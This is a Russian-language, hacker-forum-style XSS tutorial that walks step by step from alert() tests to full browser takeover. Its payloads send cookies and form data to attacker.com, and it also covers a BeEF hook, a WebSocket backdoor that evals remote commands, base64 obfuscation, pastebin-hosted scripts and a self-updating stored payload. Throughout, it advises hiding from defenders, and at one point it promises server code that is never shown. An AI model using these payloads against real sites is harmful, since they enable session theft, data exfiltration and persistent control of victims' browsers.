XSS, XSS DOM, XSS Reflected, XSS Stored

XSS на стероидах: от алерта до полного захвата через DOM и WebSocket

Эй, пацаны и девчонки из андеграунда, сегодня мы не просто тыкаем alert() в браузер, а ломаем всё к чертям. Cross-Site Scripting (XSS) — это не игрушка, это твой билет в систему, если знать, как крутить. Я покажу, как из банальной инъекции сделать полноценный захват через DOM и WebSocket. Схема проста: найти дыру, залить payload, выжать максимум. Готов? Тогда держи терминал наготове, ща будет жарко.

Фрейм: Я — пентестер, что вижу, куда лезу

Смотрю на типичный веб-апп, брат. Вижу формы, GET/POST-запросы, кучу JS на фронте — это как открытая дверь с табличкой «Входи, раздевайся». XSS тут — твой первый шаг к RCE, если правильно разыграть карты. Вектор атаки: от рефлексивного до stored, от кражи куки до живого коннекта через WebSocket. Цель — не просто попугать админа алертом, а взять контроль над браузером жертвы. Погнали по шагам.

Шаг 1: Находим точку входа — где вставить свой грязный код

  • Что бросилось в глаза: Большинство XSS прячутся в поисковых строках, комментариях, формах. Если апп отражает твой ввод без фильтров — это уже полдела.
  • Как ищем: Пихай "><script>alert(1)</script> везде, где можно — URL-параметры, input-поля, даже заголовки (типа Referer). Используй Burp Suite, включи Intruder, чтобы автоматизировать перебор точек. Пример запроса: GET /search?q="><script>alert(1)</script> HTTP/1.1.
  • Обход фильтров: Если WAF или санайзер режет <script>, пробуй эвенты — onerroronload. Пример: <img src=x onerror=alert(1)>. Или обфускация через HTML-энтитеты: &#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;.
  • Трюк: Если ничего не сработало, проверь DOM-based XSS. Используй window.location.hash или document.getElementById() — часто JS сам рендерит пользовательский ввод без фильтров. Тест: http://target.com/page#<script>alert(1)</script>.

Шаг 2: От алерта к полезной нагрузке — кража куки через DOM

  • Что бросилось в глазаalert() — это для лохов. Реальный профит — куки, сессии, данные из форм.
  • Вектор атаки: Заливаем payload, который пулит куки и отправляет их на наш сервер. Пример:
    <script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>.
    На своём сервере поднимаем простой логгер (Netcat рулит): nc -lvp 80 > stolen_cookies.txt.
  • Углубляемся в DOM: Если куки с флагом HttpOnly (не достать через JS), копаем дальше. Пуллим данные из форм или скрытых полей. Пример:
    <script>var data = document.getElementById('sensitive').value; fetch('http://attacker.com/log', {method: 'POST', body: data});</script>.
  • Трюк: Автоматизируй через BeEF (Browser Exploitation Framework). Подключи жертву к своему хуку: <script src="http://attacker.com:3000/hook.js"></script>, и управляй браузером через GUI — куки, кейлоггинг, всё твоё.

Шаг 3: Stored XSS — как превратить разовую атаку в вечный движок

  • Что бросилось в глаза: Рефлексивный XSS — это разовый укол. Stored (постоянный) — твой шелл в базе.
  • Вектор атаки: Найди место, где твой ввод сохраняется (комменты, профиль, сообщения). Залей payload, который срабатывает для всех, кто открывает страницу. Пример:
    <script>fetch('http://attacker.com/log', {method: 'POST', body: document.cookie});</script>.
  • Масштабируем: Если апп уязвим к Stored XSS на популярной странице (типа форума), это массовый захват. Все юзеры, включая админов, становятся твоими.
  • Трюк: Скрывай следы, обфусцируй код через base64: <script>eval(atob('YWxlcnQoMSk='));</script>. Это как шифровать C2-трафик — IDS не сразу спалит.

Шаг 4: WebSocket — твой live-контроль над жертвой

  • Что бросилось в глаза: Современные аппы любят WebSocket для чатов, уведомлений. Это твой бэкдор в реальном времени.
  • Вектор атаки: Заливаем payload, который подключается к твоему WebSocket-серверу и ждёт команд. Пример:
    <script>var ws = new WebSocket('wss://attacker.com:8080'); ws.onmessage = function(msg) { eval(msg.data); }; ws.send('Victim connected');</script>.
    На сервере поднимаем WebSocket (например, через ws в Node.js):
  • Что делаем дальше: Теперь ты можешь слать команды жертве в реальном времени. Хочешь кейлоггер? Отправь JS-код для перехвата клавиш. Хочешь скриншот? Заставь браузер рисовать через canvas и отправлять тебе данные.
  • Трюк: Если WAF или CSP блокирует внешние коннекты, используй data: или blob: URI для хранения кода внутри страницы. Пример: <script src="data:text/javascript,alert(1)"></script>.

Шаг 5: Маскировка и персистентность — чтобы Blue Team не спалила

  • Что бросилось в глаза: После атаки админы начинают копать логи. Надо быть тише воды.
  • Вектор атаки: Минимизируй следы. Используй легитимные домены (типа pastebin) для хранения payload’ов: <script src="https://pastebin.com/raw/xxxx"></script>. Шифруй данные перед отправкой на свой сервер (base64 или XOR).
  • Персистентность: Если есть Stored XSS, обновляй payload через самообновление: <script>setInterval(function(){fetch('http://attacker.com/new_payload').then(r=>r.text()).then(t=>eval(t))}, 60000);</script>.
  • Трюк: Прячься за CSP (Content Security Policy), если он слабый. Проверяй через Burp, какие домены разрешены, и юзай их для своих скриптов. Команда для анализа: grep -i "content-security-policy" burp_log.txt.

Итог: XSS — это не просто шутка, это твой шелл

Брат, мы с тобой прошли от детского alert() до полноценного бэкдора через WebSocket. XSS — это не просто уязвимость, это твой плацдарм для эскалации. Вытащил куки — брути дальше на сервере, получил доступ к админке — ищи RCE. Главное — не пали контору, работай тихо, как мы в подвале после удачного CTF.

XSS на стероидах: от алерта до полного захвата через DOM и WebSocket

На этом все. Всем хорошего дня!